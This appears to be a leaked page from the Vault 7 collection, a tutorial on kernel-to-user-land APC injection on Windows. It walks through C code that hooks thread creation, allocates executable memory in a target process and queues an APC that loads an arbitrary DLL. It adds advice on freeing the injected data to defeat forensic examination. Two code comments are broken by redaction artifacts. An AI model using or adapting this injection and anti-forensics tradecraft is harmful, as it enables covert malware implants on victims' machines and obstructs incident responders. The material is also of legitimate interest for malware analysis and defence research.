Kernel to User land: APC injection

Vault 7: CIA Hacking Tools Revealed

Overview

When running in Kernel mode, it may be necessary to inject code into a User-land process. There are two ways that Asynchronous Procedure Calls (APCs) can be used to accomplish this goal.

Method 1: Queue User APC to Alertable Thread

This method requires the kernel code to find a thread in the target process that is in an alertable state. This method relies on searching undocumented structures in the ETHREAD structure for each thread. There is a flag that is set if a thread is Alertable. This section could be expanded to give more information in the future... It is general thought that this method is a

bit unreliable, and subject to Microsoft randomly changing the ETHREAD struct (and the structures within it).

Method 2: Queue User APC to new Thread

This method requires the kernel code to have a way of getting to a Thread before it is started. Typically this is accomplished through registering a CreateThreadNotifyRoutine (CTNR). When the CreateThreadNotifyRoutine is called, one of two different scenarios could be happening:

1. A thread is dying. The CTNR is called in the context of the dying thread. This doesn't really help us.
2. A thread is being created. The CTNR is called in the context of the thread that is creating the new thread. This is helpful.

After verifying that the CTNR was called for thread creation, the kernel code can do some basic checks to see if the thread is being created in an interesting process. The important thing to remember about running code in the CTNR is that **NO** new threads can be created until each CTNR is finished. If your CTNR code takes 1 minute to run, then you've bottlenecked thread creation to 1 new thread a minute (extreme example of course). Whatever you do in the CTNR, make sure it's quick.

To Queue an APC to the thread being created, the kernel code needs to have the ETHREAD structure for the new thread. In Windows 7, and according to the MSDN (which never lies...) you can call PsLookupThreadByThreadId to obtain a handle to the ETHREAD structure. In Windows XP, this will not work due to a code check that fails. It is thought that Windows XP fails to retrieve the ETHREAD structure at this point, because it is not fully created/added to the list of objects.

Next, you need to attach to the process' context using KeStackAttachProcess(), which has 2 parameters. The first parameter is a handle to the EPROCESS struct (Obtained by calling PsGetCurrentProcess()). The second parameter is a pointer to memory allocated for a KAPC struct (using ExAllocatePool). Save the KAPC memory pointer, as it will be needed later to detach.

After attaching, you must use ZwAllocateVirtualMemory twice. Once to allocate memory for your APC parameter. For example, if your APC is going to inject a DLL into a target process, then you need to allocate memory for the DLL name to inject, and the address of LoadLibraryA. The second memory allocation is for your user APC code. You can use the following trick to get the size of your APC code:

```
VOID UserAPC(PVOID context, PVOID sysarg1, PVOID sysarg2)
{
        (LOAD_LIB)(context->LoadLibrary_Func)(context->DllName);
}

VOID UserAPC_end()
{}


ULONG CalcApcSize()
{
        return ((ULONG_PTR)UserAPC_end - (ULONG_PTR)UserAPC);
}



typedef struct _CONTEXT
{
        ULONGLONG LoadLibrary_Func;
        CHAR DllName[MAX_PATH];
} CONTEXT, *PCONTEXT;

VOID MyCreateThreadNotifyRoutine(....)
{
        ....
        PKAPC apc = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));
    PKAPC apc2 = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));
        PCONTEXT context = NULL;
        PVOID UserAPC_mem =  NULL;
        ULONG csize = sizeof(CONTEXT);
        ULONG apcsize = CalcApcSize();
        KeStackAttachProcess(PsGetCurrentProcess(), (PKAPC_STATE)apc);
        ZwAllocateVirtualMemory(ZwCurrentProcess(), (PVOID*)&context , NULL, &csize,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
        ZwAllocateVirtualMemory(ZwCurrentProcess(), (PVOID*)&UserAPC_mem , NULL,
&apcsize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); //You can take the effort
to User #76973 this as READWRITE first, then after writing, User #76970 it as
EXECUTE_READ.

        //Here is where you'll copy the data into the memory you allocated

        KeUnstackDetachProcess(PsGetCurrentProcess(), (PKAPC_STATE)apc);
        ...
}
```

At this point, your APC is ready to run with KeInitializeApc and KeInsertQueueApc. You'll need a dummy Kernel APC as well:

```
VOID KernelAPC(PVOID context, PVOID arg1, PVOID arg2, PVOID arg3, PVOID arg4)
{
        //here you can free the APC argument since you're done with it now
        ExFreePool(context);
}

VOID MyCreateThreadNotifyRoutine(....)
{
        ....
        PKAPC apc = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));
    PKAPC apc2 = (PKAPC)ExAllocatePool(NonPagedPool, sizeof(KAPC));
        PCONTEXT context = NULL;
        PVOID UserAPC_mem =  NULL;
        ULONG csize = sizeof(CONTEXT);
        ULONG apcsize = CalcApcSize();
        KeStackAttachProcess(PsGetCurrentProcess(), (PKAPC_STATE)apc);
        ZwAllocateVirtualMemory(ZwCurrentProcess(), (PVOID*)&context , NULL, &csize,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
        ZwAllocateVirtualMemory(ZwCurrentProcess(), (PVOID*)&UserAPC_mem , NULL,
&apcsize, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); //You can take the effort
to User #76971 this as READWRITE first, then after writing, User #76972 it as
EXECUTE_READ.

        //Here is where you'll copy the data into the memory you allocated

        KeUnstackDetachProcess(PsGetCurrentProcess(), (PKAPC_STATE)apc);

        KeInitializeApc(apc2 , (PKTHREAD)thread, 0, (PKKERNEL_ROUTINE)KernelAPC,
NULL, (PKNORMAL_ROUTINE)UserAPC_mem , UserMode, context);
    KeInsertQueueApc(apc2 , 0 ,NULL, 0);
}
```

If you're really concerned about what memory is being leaked, you can use the same code to queue a user APC to free the memory you allocated above (context and UserAPC_mem). Since APCs are queued up, if you queue a user APC to free the allocated memory after queueing your LoadLibrary APC, it will always execute when the memory should be OK to free (unless you do something different in the user APC). However, this means you'll leak memory for your free memory APC. This helps you clear code/data that may give away what you're doing, so a forensic examination wont find your parameters/special code. It will only find some lame memory-freeing APC.

At this point you're done. The APC should execute before the new thread runs, in the context of the new thread. If you did a simple DLL load with LoadLibraryA, you'll end up injecting a DLL into the process the new thread is going to run in.

This method is documented in the MSDN, but you can't trust that, so it may dissapear randomly one day... Works currently on Windows 7 x64.
